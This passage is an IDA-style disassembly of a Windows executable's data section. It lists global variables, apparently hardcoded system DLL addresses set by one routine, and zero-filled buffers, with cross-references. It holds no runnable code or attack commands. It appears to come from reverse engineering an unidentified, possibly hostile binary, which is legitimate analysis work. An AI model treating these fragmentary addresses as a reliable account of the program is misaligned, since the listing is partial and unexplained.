; sub_4012D6+764r ...
dword_4440D0 dd 773F97B0h ; DATA XREF: sub_4012D6+BAAw
dword_4440D4 dd 77E78C17h ; DATA XREF: sub_4012D6+31w
; sub_4012D6+ADr ...
dword_4440D8 dd 71B2A381h ; DATA XREF: sub_4012D6+B43w
; sub_4012D6+B5Fr ...
dword_4440DC dd 71C21CA3h ; DATA XREF: sub_4012D6+A0Cw
; sub_40F87A+8Br ...
dword_4440E0 dd 71C453F8h ; DATA XREF: sub_4012D6+9E5w
; sub_4012D6+A4Br ...
dword_4440E4 dd 77DD59F0h ; DATA XREF: sub_401000+49r
; sub_4012D6+298w ...
dword_4440E8 dd 71C2498Bh ; DATA XREF: sub_4012D6+97Dw
; sub_4012D6+A06r ...
dword_4440EC dd 71C4576Ch ; DATA XREF: sub_4012D6+9F2w
; sub_4012D6+A53r ...
dword_4440F0 dd 77EBB1E7h ; DATA XREF: sub_4012D6+3Ew
; sub_4012D6+BAr ...
dword_4440F4 dd 77E2C1B3h ; DATA XREF: sub_4012D6+399w
; sub_4012D6+3DFr ...
dword_4440F8 dd 77D49A11h ; DATA XREF: sub_4012D6+17Fw
; sub_4012D6+1CAr ...
dword_4440FC dd 77E686CCh ; DATA XREF: sub_4012D6+72w
; sub_4012D6+D2r ...
dword_444100 dd 71AB3C22h ; DATA XREF: sub_4012D6+58Ew
; sub_4012D6+700r ...
dword_444104 dd 71C24870h ; DATA XREF: sub_4012D6+98Aw
; sub_4012D6+A13r ...
dword_444108 dd 76214750h ; DATA XREF: sub_4012D6+84Cw
; sub_4012D6+8A4r ...
dword_44410C dd 76D674FAh ; DATA XREF: sub_4012D6+ADFw
; sub_4012D6+AE6r ...
dword_444110 dd 71AB41DAh ; DATA XREF: sub_4012D6+533w
; sub_4012D6+6B3r ...
dword_444114 dd 71C3516Ah ; DATA XREF: sub_4012D6+9FFw
; sub_4012D6+A5Br ...
dword_444118 dd 77EBA994h ; DATA XREF: sub_4012D6+65w
; sub_41C444+158r
dword_44411C dd 77E09070h ; DATA XREF: sub_4012D6+2D9w
; sub_41B065+4Fr
dword_444120 dd 71AB3F8Dh ; DATA XREF: sub_4012D6+66Bw
; sub_4012D6+79Cr ...
dword_444124 dd 77E6CBF9h ; DATA XREF: sub_4012D6+99w
; sub_4012D6+EAr ...
dword_444128 dd 1F7CD214h ; DATA XREF: sub_4012D6+C0Ew
; sub_4012D6+C3Fr
dword_44412C dd 76206853h ; DATA XREF: sub_4012D6+818w
; sub_4012D6+888r ...
dword_444130 dd 77C72C6Bh ; DATA XREF: sub_4012D6+4A7w
; sub_4012D6+4EBr ...
dword_444134 dd 77DDAB2Fh ; DATA XREF: sub_4012D6+3A6w
; sub_4012D6+3E7r ...
dword_444138 dd 73B81E3Bh ; DATA XREF: sub_4012D6+C85w
; sub_4012D6+C8Cr ...
dword_44413C dd 76206B7Fh ; DATA XREF: sub_4012D6+832w
; sub_4012D6+898r ...
dword_444140 dd 71C214BAh ; DATA XREF: sub_4012D6+9B1w
; sub_4012D6+A2Br ...
dword_444144 dd 77DD5C55h ; DATA XREF: sub_401000+55r
; sub_4012D6+2B2w ...
dword_444148 dd 71ABF628h ; DATA XREF: sub_4012D6+6ACw
; sub_413848+E0r
dword_44414C dd 77E802FCh ; DATA XREF: sub_4012D6+A6w
; sub_4012D6+F2r
dword_444150 dd 77DD590Bh ; DATA XREF: sub_401000+2Ar
; sub_4012D6+28Bw ...
dword_444154 dd 77EBA595h ; DATA XREF: sub_4012D6+4Bw
; sub_4012D6+C2r ...
dword_444158 dd 76D629BBh ; DATA XREF: sub_4012D6+91Aw
; sub_4012D6+92Er ...
dword_44415C dd 71AB1B7Bh ; DATA XREF: sub_4012D6+55Aw
; sub_412DD9+112r ...
dword_444160 dd 77D4BDCAh ; DATA XREF: sub_4012D6+165w
; sub_4012D6:loc_401490r ...
dword_444164 dd 76204E4Dh ; DATA XREF: sub_4012D6+879w
; sub_418F38+4DAr ...
dword_444168 dd 71AB2BBFh ; DATA XREF: sub_4012D6+692w
; sub_4012D6+7B4r ...
dword_44416C dd 76F36EEBh ; DATA XREF: sub_4012D6+AA2w
dword_444170 dd 77DDA595h ; DATA XREF: sub_4012D6+33Aw
; sub_41C3D9+55r
dword_444174 dd 76D67A29h ; DATA XREF: sub_4012D6+AECw
; sub_4022F5+8Er
dword_444178 dd 77C7531Dh ; DATA XREF: sub_4012D6+473w
; sub_4012D6+4CBr ...
dword_44417C dd 71AB12F8h ; DATA XREF: sub_4012D6+5C2w
; sub_4012D6+730r ...
dword_444180 dd 77C7212Fh ; DATA XREF: sub_4012D6+466w
; sub_4012D6+4C3r ...
dword_444184 dd 77C72889h ; DATA XREF: sub_4012D6+4B4w
; sub_417F75+206r
dword_444188 dd 71AB401Ch ; DATA XREF: sub_4012D6+5B5w
; sub_4012D6+724r ...
dword_44418C dd 76D62A37h ; DATA XREF: sub_4012D6+927w
; sub_4012D6+93Br ...
dword_444190 dd 77C729E2h ; DATA XREF: sub_4012D6+49Aw
; sub_4012D6+4E3r ...
dword_444194 dd 71AB60C9h ; DATA XREF: sub_4012D6+54Dw
; sub_4012D6+6D0r ...
dword_444198 dd 77DDACABh ; DATA XREF: sub_4012D6+40Fw
; sub_41D779+EDr
dword_44419C dd 73B81B0Fh ; DATA XREF: sub_4012D6+C92w
; sub_40274D+6FC7r
dword_4441A0 dd 71AB1AF4h ; DATA XREF: sub_4011F5+3Er
; sub_40123B+80r ...
dword_4441A4 dd 77D902E3h ; DATA XREF: sub_4012D6+1B3w
; sub_41AEBB+15r
dword_4441A8 dd 77E96645h ; DATA XREF: sub_4012D6+7Fw
; sub_4012D6+DAr ...
dword_4441AC dd 71B2ACCBh ; DATA XREF: sub_4012D6+B29w
; sub_4012D6+B4Ar ...
dword_4441B0 dd 71AB1890h ; DATA XREF: sub_4012D6+644w
; sub_4012D6+784r ...
dword_4441B4 dd 77E6D75Bh ; DATA XREF: sub_4012D6+B3w
dword_4441B8 dd 7620BD61h ; DATA XREF: sub_4012D6+866w
; sub_4012D6+8B4r ...
dword_4441BC dd 1F7CB8F8h ; DATA XREF: sub_4012D6+C1Bw
; sub_4012D6+C47r
dword_4441C0 dd 77C75455h ; DATA XREF: sub_4012D6+480w
; sub_4012D6+4D3r ...
dword_4441C4 dd 71AB1740h ; DATA XREF: sub_4012D6+574w
; sub_4012D6+6E8r ...
dword_4441C8 dd 77DDA20Bh ; DATA XREF: sub_4012D6+365w
; sub_4012D6+3BAr ...
dword_4441CC dd 77D4702Fh ; DATA XREF: sub_4012D6+158w
; sub_4012D6+1ADr ...
dword_4441D0 dd 77DE8075h ; DATA XREF: sub_4012D6+37Fw
; sub_4012D6+3CFr ...
dword_4441D4 dd 71C45229h ; DATA XREF: sub_4012D6+9D8w
; sub_4012D6+A43r ...
dword_4441D8 dd 77DDA2AFh ; DATA XREF: sub_4012D6+3B3w
; sub_4012D6+3EFr ...
dword_4441DC dd 71AB12A7h ; DATA XREF: sub_4012D6+5F6w
; sub_40BB72+20r ...
dword_4441E0 dd 71AB14DCh ; DATA XREF: sub_4012D6+567w
; sub_4012D6+6DCr ...
dword_4441E4 dd 71AB3ECEh ; DATA XREF: sub_4012D6+637w
; sub_4012D6+77Cr ...
dword_4441E8 dd 77DD189Ah ; DATA XREF: sub_401000+5Er
; sub_4012D6+2BFw ...
dword_4441EC dd 77DE1291h ; DATA XREF: sub_4012D6+38Cw
; sub_4012D6+3D7r ...
dword_4441F0 dd 76F36EAAh ; DATA XREF: sub_4012D6+A95w
; sub_4012D6+A9Cr ...
dword_4441F4 dd 76D62A58h ; DATA XREF: sub_4012D6+934w
; sub_415F82+112r
dword_4441F8 dd 1F7D886Ah ; DATA XREF: sub_4012D6+BE7w
; sub_4012D6+C22r
dword_4441FC dd 71ABD755h ; DATA XREF: sub_4012D6+69Fw
; sub_4012D6+7BCr ...
dword_444200 dd 71AB1746h ; DATA XREF: sub_4012D6+5E9w
; sub_4012D6+754r ...
dword_444204 dd 77DD7496h ; DATA XREF: sub_4012D6+3C0w
; sub_41C07C+ABr
dword_444208 dd 0 ; DATA XREF: sub_4012D6+112w
dword_44420C dd 71C2FA86h ; DATA XREF: sub_4012D6+997w
; sub_4012D6+A1Br ...
dword_444210 dd 1F7CD927h ; DATA XREF: sub_4012D6+C01w
; sub_4012D6+C37r
dword_444214 dd 77428B97h ; DATA XREF: sub_4012D6+B9Dw
; sub_4012D6+BA4r ...
dword_444218 dd 71AB1A6Dh ; DATA XREF: sub_40110F+12r
; sub_4012D6+6B9w ...
dword_44421C dd 77C76551h ; DATA XREF: sub_4012D6+459w
; sub_4012D6+4BBr ...
dword_444220 dd 71AB32CAh ; DATA XREF: sub_4012D6+685w
; sub_4012D6+7ACr ...
dword_444224 dd 71AB1836h ; DATA XREF: sub_40110F+1Dr
; sub_40110F+23r ...
dword_444228 dd 77DF7311h ; DATA XREF: sub_4012D6+32Dw
; sub_4012D6+341r ...
dword_44422C dd 77D4808Bh ; DATA XREF: sub_4012D6+213w
; sub_4012D6+234r ...
dword_444230 dd 71AB5DE2h ; DATA XREF: sub_4012D6+651w
; sub_4012D6+78Cr ...
dword_444234 dd 71AB12A7h ; DATA XREF: sub_4012D6+5DCw
; sub_4012D6+748r ...
dword_444238 dd 77DD22EAh ; DATA XREF: sub_4012D6+27Ew
; sub_4012D6+2D3r ...
dword_44423C dd 77D5E38Ch ; DATA XREF: sub_4012D6+199w
; sub_4012D6+1DAr ...
dword_444240 dd 71B22C25h ; DATA XREF: sub_4012D6+B36w
; sub_4012D6+B57r ...
dword_444244 dd 77DD5D20h ; DATA XREF: sub_4012D6+320w
; sub_4012D6+334r ...
dword_444248 dd 77E09134h ; DATA XREF: sub_4012D6+2CCw
; sub_41B065+47r
dword_44424C dd 77DE801Bh ; DATA XREF: sub_4012D6+372w
; sub_4012D6+3C7r ...
dword_444250 dd 77C76B34h ; DATA XREF: sub_4012D6+44Cw
; sub_4012D6+4AEr ...
dword_444254 dd 0CC0004h ; DATA XREF: sub_4012D6+8DBw
; sub_4012D6:loc_401BCFw ...
dword_444258 dd 762059A3h ; DATA XREF: sub_4012D6+825w
; sub_4012D6+890r ...
dword_44425C dd 7622A3F4h ; DATA XREF: sub_4012D6+80Bw
; sub_4012D6+880r ...
dword_444260 dd 71AB1746h ; DATA XREF: sub_4012D6+5CFw
; sub_4012D6+73Cr ...
dword_444264 dd 0 ; DATA XREF: sub_4012D6:loc_4013D4w
; sub_4012D6+12Bw ...
dword_444268 dd 0 ; DATA XREF: sub_4012D6+126w
; sub_401F92+1Cr
dword_44426C dd 0 ; DATA XREF: sub_4012D6:loc_4014C4w
; sub_4012D6:loc_40152Bw ...
dword_444270 dd 0 ; DATA XREF: sub_4012D6+250w
; sub_401F92+50r
dword_444274 dd 0 ; DATA XREF: sub_4012D6:loc_4015DEw
; sub_4012D6:loc_401623w ...
dword_444278 dd 0 ; DATA XREF: sub_4012D6+41Ew
; sub_401F92+84r
dword_44427C dd 0 ; DATA XREF: sub_4012D6:loc_4017DAw
; sub_401F92:loc_402042r
dword_444280 dd 0 ; DATA XREF: sub_4012D6+4FFw
; sub_401F92+B8r
dword_444284 dd 0 ; DATA XREF: sub_4012D6:loc_401AABw
; sub_401F92:loc_402076r
dword_444288 dd 0 ; DATA XREF: sub_4012D6+7D0w
; sub_401F92+ECr
dword_44428C dd 0 ; DATA XREF: sub_4012D6:loc_401B96w
; sub_4012D6+8EFw ...
dword_444290 dd 0 ; DATA XREF: sub_4012D6+8EAw
; sub_401F92+120r
dword_444294 dd 0 ; DATA XREF: sub_4012D6:loc_401C2Aw
; sub_401F92:loc_4020DEr ...
dword_444298 dd 0 ; DATA XREF: sub_4012D6+94Fw
; sub_401F92+154r
dword_44429C dd 0 ; DATA XREF: sub_4012D6:loc_401D46w
; sub_401F92:loc_402112r ...
dword_4442A0 dd 0 ; DATA XREF: sub_4012D6+A6Bw
; sub_401F92+188r
dword_4442A4 dd 0 ; DATA XREF: sub_4012D6:loc_401D90w
; sub_401F92:loc_402146r
dword_4442A8 dd 0 ; DATA XREF: sub_4012D6+AB5w
; sub_401F92+1BCr
dword_4442AC dd 0 ; DATA XREF: sub_4012D6:loc_401DDAw
; sub_401F92:loc_40217Ar
dword_4442B0 dd 0 ; DATA XREF: sub_4012D6+AFFw
; sub_401F92+1F0r
dword_4442B4 dd 0 ; DATA XREF: sub_4012D6:loc_401E4Ew
; sub_401F92:loc_4021AEr
dword_4442B8 dd 0 ; DATA XREF: sub_4012D6+B73w
; sub_401F92+224r
dword_4442BC dd 0 ; DATA XREF: sub_4012D6:loc_401E98w
; sub_401F92:loc_4021E2r
dword_4442C0 dd 0 ; DATA XREF: sub_4012D6+BBDw
; sub_401F92+258r
dword_4442C4 dd 0 ; DATA XREF: sub_4012D6:loc_401F36w
; sub_401F92:loc_402216r
dword_4442C8 dd 0 ; DATA XREF: sub_4012D6+C5Bw
; sub_401F92+28Cr
dword_4442CC dd 0 ; DATA XREF: sub_4012D6:loc_401F80w
; sub_401F92:loc_40224Ar
dword_4442D0 dd 0 ; DATA XREF: sub_4012D6+CA5w
; sub_401F92+2C0r
; char Dest[]
Dest db 14h dup(0) ; DATA XREF: sub_4023C9+46o
dword_4442E8 dd 0 ; DATA XREF: sub_40274D+5B75r
; sub_40274D+5C52r ...
dd 7Fh dup(0)
dword_4444E8 dd 0 ; DATA XREF: sub_40AE85+45w
; sub_40AF6E+3Ew ...
dword_4444EC dd 0 ; DATA XREF: sub_40AE85+3Ew
; sub_40AF6E+44w ...
dword_4444F0 dd 0 ; DATA XREF: sub_40AE85+52w
; sub_40AF6E+34r ...
dword_4444F4 dd 0 ; DATA XREF: sub_40110F+Cr
; sub_4025EF+83w ...
dword_4444F8 dd 0 ; DATA XREF: sub_40AF6E+6Fr
; sub_40B149+2Aw ...
dword_4444FC dd 0 ; DATA XREF: sub_40274D+719w
; sub_40274D+94Fw ...
byte_444500 db 0 ; DATA XREF: sub_4025EF+5Do
; sub_40274D+5ABCr ...
align 4
dd 493h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: .rdata:off_43426Co
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .rdata:off_4377C4o
dd 0E306h dup(0)
dword_49005C dd 947Ah dup(0) ; DATA XREF: .rdata:off_432F8Co
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .rdata:off_437630o
dd 7028h dup(0)
dword_4D12E8 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_40A728o
; sub_40AE85+13o ...
; char byte_4D12EC[]
byte_4D12EC db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+47Co
; WinMain(x,x,x,x)+509o ...
; char byte_4D136C[]
byte_4D136C db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+497o
; char byte_4D13AC[]
byte_4D13AC db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4AEo
dword_4D143C dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Dw
; WinMain(x,x,x,x)+520w ...
dword_4D1440 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B9w
align 10h
; char dword_4D1450[]
dword_4D1450 dd 0 ; DATA XREF: sub_40274D+A17o
; sub_40274D+A88r ...
dd 5 dup(0)
dword_4D1468 dd 0 ; DATA XREF: sub_40274D+A78r
; sub_417C78+63r
dd 1Fh dup(0)
dword_4D14E8 dd 0 ; DATA XREF: sub_40B075+16o
; sub_40B094+19o
dword_4D14EC dd 2B9h dup(0) ; DATA XREF: sub_40B028+3Do
dword_4D1FD0 dd 1Bh ; DATA XREF: sub_40274D:loc_404F29r
; WinMain(x,x,x,x)+3Dw ...
dword_4D1FD4 dd 0 ; DATA XREF: WinMain(x,x,x,x)+136r
byte_4D1FD8 db 0 ; DATA XREF: sub_402472+29r
; sub_402472+32o
align 4
dword_4D1FDC dd 0 ; DATA XREF: sub_40274D+7B0Bw
; WinMain(x,x,x,x)+4CAw ...
dword_4D1FE0 dd 0 ; DATA XREF: sub_40274D+7E5r
; WinMain(x,x,x,x)+481w
dword_4D1FE4 dd 0B63Ch ; DATA XREF: sub_40B690+151r
; sub_40D055+30r ...
byte_4D1FE8 db 0 ; DATA XREF: sub_40AD00+64r
; sub_40AD00+92w
align 10h
dword_4D1FF0 dd 0 ; DATA XREF: sub_40B619+18r
; sub_40BBBA+92w ...
dword_4D1FF4 dd 0 ; DATA XREF: sub_40BCF3+1EDr
; sub_40BEFE+DCw ...
dd 7FEh dup(0)
dword_4D3FF0 dd 6 dup(0) ; DATA XREF: sub_40BCF3+C2o
; sub_40BCF3+125o ...
dword_4D4008 dd 0 ; DATA XREF: sub_40B494+Er
; sub_40B494+31r ...
dword_4D400C dd 0 ; DATA XREF: sub_40B494+9r
; sub_40B494+25r ...
dword_4D4010 dd 0 ; DATA XREF: sub_40B690+428w
; sub_40B690+467o
; char byte_4D4014[]
byte_4D4014 db 13Eh dup(0) ; DATA XREF: sub_40B690+3F6o
word_4D4152 dw 0 ; DATA XREF: .rdata:off_436FD4o
dd 52h dup(0)
; char byte_4D429C[]
byte_4D429C db 104h dup(0) ; DATA XREF: sub_40B690+3CBo
dword_4D43A0 dd 0 ; DATA XREF: sub_40B690+3EDw
; sub_40B690+415r
align 8
dword_4D43A8 dd 0 ; DATA XREF: sub_40B690+45Dw
; sub_40B690+479r
dword_4D43AC dd 0 ; DATA XREF: sub_40B690+41Bw
dword_4D43B0 dd 0 ; DATA XREF: sub_40B690+42Dw
dword_4D43B4 dd 0 ; DATA XREF: sub_40B690+3FBw
dd 0
dword_4D43BC dd 0 ; DATA XREF: sub_40B690:loc_40BB68r
dword_4D43C0 dd 0 ; DATA XREF: sub_40B690+2B7w
; sub_40B690+34Do
dword_4D43C4 dd 0 ; DATA XREF: sub_40B690+343w
; sub_40B690+35Fr
dword_4D43C8 dd 0 ; DATA XREF: sub_40B690+2C2w
dword_4D43CC dd 0 ; DATA XREF: sub_40B690+2ACw
; sub_40B690+31Ar
; char byte_4D43D0[]
byte_4D43D0 db 80h dup(0) ; DATA XREF: sub_40B690+2D5o
; sub_40B690+307o
dword_4D4450 dd 0 ; DATA XREF: sub_40B690+2C8w
dword_4D4454 dd 0 ; DATA XREF: sub_40B690+2DFw
; sub_40B690+311w
dword_4D4458 dd 0 ; DATA XREF: sub_40B690:loc_40BB53r
align 10h
dword_4D4460 dd 0 ; DATA XREF: sub_40B690+194w
; sub_40B690+226o
dword_4D4464 dd 41h dup(0) ; DATA XREF: sub_40B690+15Do
; char byte_4D4568[]
byte_4D4568 db 104h dup(0) ; DATA XREF: sub_40B690+17Bo
dword_4D466C dd 0 ; DATA XREF: sub_40B690+21Cw
; sub_40B690+238r
dword_4D4670 dd 0 ; DATA XREF: sub_40B690+169w
dword_4D4674 dd 0 ; DATA XREF: sub_40B690+164w
; sub_40B690+1F3r
; char byte_4D4678[]
byte_4D4678 db 80h dup(0) ; DATA XREF: sub_40B690+1ADo
; sub_40B690+1DFo
dword_4D46F8 dd 0 ; DATA XREF: sub_40B690+1A0w
dword_4D46FC dd 0 ; DATA XREF: sub_40B690+1B7w
; sub_40B690+1E9w
dword_4D4700 dd 0 ; DATA XREF: sub_40B690:loc_40B983r
align 8
dword_4D4708 dd 0 ; DATA XREF: sub_40B690+82w
; sub_40B690+FEo
dword_4D470C dd 41h dup(0) ; DATA XREF: sub_40B690+46o
; char byte_4D4810[]
byte_4D4810 db 104h dup(0) ; DATA XREF: sub_40B690+69o
dword_4D4914 dd 0 ; DATA XREF: sub_40B690+F4w
; sub_40B690+110r
dword_4D4918 dd 0 ; DATA XREF: sub_40B690+52w
dword_4D491C dd 0 ; DATA XREF: sub_40B690+4Dw
; sub_40B690+CBr
; char byte_4D4920[]
byte_4D4920 db 80h dup(0) ; DATA XREF: sub_40B690+9Ao
; sub_40B690+B7o
dword_4D49A0 dd 0 ; DATA XREF: sub_40B690+8Dw
dword_4D49A4 dd 0 ; DATA XREF: sub_40B690+A4w
; sub_40B690+C1w
dword_4D49A8 dd 0 ; DATA XREF: sub_40B690:loc_40B85Br
align 10h
; char byte_4D49B0[]
byte_4D49B0 db 200h dup(0) ; DATA XREF: sub_40C30A+91o
dword_4D4BB0 dd 40h dup(0) ; DATA XREF: sub_40D055+C0o
; .text:0040D2AFo
dword_4D4CB0 dd 0 ; DATA XREF: .text:0040D2C7w
dword_4D4CB4 dd 0 ; DATA XREF: .text:0040D688w
; .text:0040D6A1r ...
dword_4D4CB8 dd 0 ; DATA XREF: .text:0040D29Ew
; .text:0040D695w ...
dword_4D4CBC dd 0 ; DATA XREF: .text:0040D18Fw
; .text:0040D290r ...
dword_4D4CC0 dd 0 ; DATA XREF: .text:0040D174w
; .text:loc_40D1B6r
align 8
dword_4D4CC8 dd 2Bh dup(0) ; DATA XREF: .text:0040D236o
dword_4D4D74 dd 81h dup(0) ; DATA XREF: .text:0040D258o
db 2 dup(0)
word_4D4F7A dw 0 ; DATA XREF: .text:0040D56Do
; .text:0040D59Ao ...
dword_4D4F7C dd 0 ; DATA XREF: .text:loc_40D630o
db 2 dup(0)
word_4D4F82 dw 0 ; DATA XREF: .text:0040D2F2o
; .text:0040D324o ...
dword_4D4F84 dd 4 dup(0) ; DATA XREF: .text:loc_40D303o
dword_4D4F94 dd 2Eh dup(0) ; DATA XREF: .text:0040D269o
db 2 dup(0)
word_4D504E dw 0 ; DATA XREF: .text:0040D27Do
dd 1Eh dup(0)
dword_4D50C8 dd 0 ; DATA XREF: .text:0040D721w
; .text:0040D74Br
dword_4D50CC dd 3 dup(0) ; DATA XREF: sub_40ED91+66o
; char byte_4D50D8[]
byte_4D50D8 db 100h dup(0) ; DATA XREF: sub_40F87A+1Eo
; wchar_t *dword_4D51D8
dword_4D51D8 dd 0 ; DATA XREF: sub_40F87A+71r
; sub_40F87A+85r
align 10h
dword_4D51E0 dd 19h dup(0) ; DATA XREF: sub_40F87A+93o
dword_4D5244 dd 0 ; DATA XREF: sub_411555+9Ao
; sub_411555+CFr ...
dword_4D5248 dd 0 ; DATA XREF: sub_4114C7+35r
; sub_411555+95o ...
dword_4D524C dd 0 ; DATA XREF: sub_41150A+1Fr
; sub_411555+BCo ...
dword_4D5250 dd 0 ; DATA XREF: sub_4114C7+17r
; sub_41150A+3Dr ...
dword_4D5254 dd 0 ; DATA XREF: sub_411555+B7o
; sub_411555+DBr ...
dword_4D5258 dd 0 ; DATA XREF: sub_40B4FF+15r
; sub_411722+2BAw
dword_4D525C dd 0B5DFh ; DATA XREF: sub_40B690+2A7r
; .text:0040CF7Ar ...
dword_4D5260 dd 0 ; DATA XREF: sub_411A00+2Aw
; sub_411A00+51r ...
align 8
dword_4D5268 dd 0 ; DATA XREF: sub_413848+152r
align 10h
dword_4D5270 dd 0 ; DATA XREF: sub_41549E+1CEw
; sub_41549E+1F5w
align 8
byte_4D5278 db 0 ; DATA XREF: sub_415C89+10Fw
; sub_415C89+20Eo
align 2
word_4D527A dw 0 ; DATA XREF: sub_415C89+11Fw
word_4D527C dw 0 ; DATA XREF: sub_415C89+125w
word_4D527E dw 0 ; DATA XREF: sub_415C89+12Cw
byte_4D5280 db 0 ; DATA XREF: sub_415C89+133w
byte_4D5281 db 0 ; DATA XREF: sub_415C89+13Aw
word_4D5282 dw 0 ; DATA XREF: sub_415C89+140w
dword_4D5284 dd 0 ; DATA XREF: sub_415C89+16Ew
; sub_415C89+18Cw
dword_4D5288 dd 0 ; DATA XREF: sub_415C89+194w
byte_4D528C db 0 ; DATA XREF: sub_415C89+1A6w
byte_4D528D db 0 ; DATA XREF: sub_415C89+1B9w
word_4D528E dw 0 ; DATA XREF: sub_415C89+1D1w
word_4D5290 dw 0 ; DATA XREF: sub_415C89+1E0w
word_4D5292 dw 0 ; DATA XREF: sub_415C89+1D8w
dword_4D5294 dd 101h dup(0) ; DATA XREF: sub_415C89+1F5o
; char byte_4D5698[]
byte_4D5698 db 200h dup(0) ; DATA XREF: sub_40274D+2D39o
; sub_40274D:loc_405535o ...
dword_4D5898 dd 0 ; DATA XREF: sub_40274D+1843w
; sub_40274D+2D31r ...
align 10h
byte_4D58A0 db 0 ; DATA XREF: sub_417272+1C8w
; sub_417272+2A1o
align 2
word_4D58A2 dw 0 ; DATA XREF: sub_417272+1D5w
word_4D58A4 dw 0 ; DATA XREF: sub_417272+1DFw
word_4D58A6 dw 0 ; DATA XREF: sub_417272+1E8w
byte_4D58A8 db 0 ; DATA XREF: sub_417272+1EFw
byte_4D58A9 db 0 ; DATA XREF: sub_417272+1F6w
word_4D58AA dw 0 ; DATA XREF: sub_417272+1FDw
dword_4D58AC dd 0 ; DATA XREF: sub_417272+20Aw
dword_4D58B0 dd 0 ; DATA XREF: sub_417272+212w
word_4D58B4 dw 0 ; DATA XREF: sub_417272+26Bw
word_4D58B6 dw 0 ; DATA XREF: sub_417272+253w
word_4D58B8 dw 0 ; DATA XREF: sub_417272+27Dw
word_4D58BA dw 0 ; DATA XREF: sub_417272+21Ew
dword_4D58BC dd 100h dup(0) ; DATA XREF: sub_417272+28Co
dword_4D5CBC dd 0 ; DATA XREF: sub_41776E+372w
; sub_41776E+3E8o
dword_4D5CC0 dd 0 ; DATA XREF: sub_41776E+30Ew
byte_4D5CC4 db 0 ; DATA XREF: sub_41776E+314w
byte_4D5CC5 db 0 ; DATA XREF: sub_41776E+31Aw
word_4D5CC6 dw 0 ; DATA XREF: sub_41776E+327w
dword_4D5CC8 dd 6 dup(0) ; DATA XREF: sub_41776E+3CCo
byte_4D5CE0 db 0 ; DATA XREF: sub_41776E+223o
; sub_41776E+238w ...
byte_4D5CE1 db 0 ; DATA XREF: sub_41776E+246w
word_4D5CE2 dw 0 ; DATA XREF: sub_41776E+270w
word_4D5CE4 dw 0 ; DATA XREF: sub_41776E+25Ew
; sub_41776E:loc_417B11w
word_4D5CE6 dw 0 ; DATA XREF: sub_41776E+276w
byte_4D5CE8 db 0 ; DATA XREF: sub_41776E+27Dw
byte_4D5CE9 db 0 ; DATA XREF: sub_41776E+23Fw
word_4D5CEA dw 0 ; DATA XREF: sub_41776E+3B9w
; sub_41776E+3EDw
dword_4D5CEC dd 0 ; DATA XREF: sub_41776E:loc_417A0Aw
; sub_41776E+36Dr
dword_4D5CF0 dd 0 ; DATA XREF: sub_41776E+2A9w
word_4D5CF4 dw 0 ; DATA XREF: sub_41776E+367w
; sub_41776E+3C7o
word_4D5CF6 dw 0 ; DATA XREF: sub_41776E+308w
; sub_41776E+32Dr ...
dword_4D5CF8 dd 0 ; DATA XREF: sub_41776E+2E2w
; sub_41776E+3AAw
dword_4D5CFC dd 0 ; DATA XREF: sub_41776E+2FBw
; sub_41776E+37Ew ...
byte_4D5D00 db 0 ; DATA XREF: sub_41776E+2E7r
; sub_41776E+2F0w
byte_4D5D01 db 0 ; DATA XREF: sub_41776E+2AEw
; sub_41776E+377w ...
word_4D5D02 dw 0 ; DATA XREF: sub_41776E+2BCw
word_4D5D04 dw 0 ; DATA XREF: sub_41776E+3C0w
; sub_41776E+40Cw
word_4D5D06 dw 0 ; DATA XREF: sub_41776E+301w
dd 0
word_4D5D0C dw 0 ; DATA XREF: sub_41776E+333w
; sub_41776E+3FDo
word_4D5D0E dw 0 ; DATA XREF: sub_41776E+342w
; sub_41776E+3DBw
dword_4D5D10 dd 0 ; DATA XREF: sub_41776E+33Cw
align 10h
dword_4D5D20 dd 0 ; DATA XREF: sub_41776E+32w
; sub_41776E+406r
align 8
; char byte_4D5D28[]
byte_4D5D28 db 400h dup(0) ; DATA XREF: sub_41776E+1ACo
; sub_41776E+44Fo
; char byte_4D6128[]
byte_4D6128 db 4000h dup(0) ; DATA XREF: sub_417D70+1Do
; sub_417E10o ...
; char dword_4DA128[]
dword_4DA128 dd 0 ; DATA XREF: sub_417D70+13o
; sub_417E10+Eo ...
dword_4DA12C dd 0Dh dup(0) ; DATA XREF: sub_419443+10o
; wchar_t word_4DA160
word_4DA160 dw 0 ; DATA XREF: sub_419B8C+D5o
; sub_419D2A+97o ...
align 4
dd 1FFh dup(0)
dword_4DA960 dd 0 ; DATA XREF: sub_419A03+35r
; sub_419A03+65r ...
dword_4DA964 dd 0 ; DATA XREF: sub_419E4F+55r
; sub_419EE6+64r ...
; wchar_t word_4DA968
word_4DA968 dw 0 ; DATA XREF: sub_419B8C+ECo
; sub_419D2A+AEo ...
align 4
dd 1FFh dup(0)
dword_4DB168 dd 0 ; DATA XREF: sub_419A03+94r
; sub_419FFD+85w
dword_4DB16C dd 0 ; DATA XREF: sub_419A03+A2r
; sub_419FFD+92w
dword_4DB170 dd 0 ; DATA XREF: sub_419A03+D6r
; sub_419A03+173r ...
dword_4DB174 dd 0 ; DATA XREF: sub_419E4F+5r
; sub_419E4F+2Er ...
dword_4DB178 dd 0 ; DATA XREF: sub_419B8C+172w
; sub_419D2A+FFw
; void *Src
Src dd 0 ; DATA XREF: sub_419B8C+177w
; sub_419D2A+105w ...
dword_4DB180 dd 0 ; DATA XREF: sub_419B8C+150w
; sub_419E4F+4Fr
align 8
; char byte_4DB188[]
byte_4DB188 db 200h dup(0) ; DATA XREF: sub_419E4F+5Eo
; char byte_4DB388[]
byte_4DB388 db 200h dup(0) ; DATA XREF: sub_419EE6+3Fo
dword_4DB588 dd 0 ; DATA XREF: sub_41A7A3+29w
; sub_41A7A3:loc_41A934w ...
dword_4DB58C dd 0 ; DATA XREF: sub_40274D+39DDo
; sub_41A24C+13o ...
dd 0
dword_4DB594 dd 0 ; DATA XREF: sub_41A7A3+21r
; sub_41A954+3Ar
dd 7Fh dup(0)
dword_4DB794 dd 0 ; DATA XREF: sub_41A7A3+19r
; sub_41A954+4Bw
dd 1944h dup(0)
; char byte_4E1CA8[]
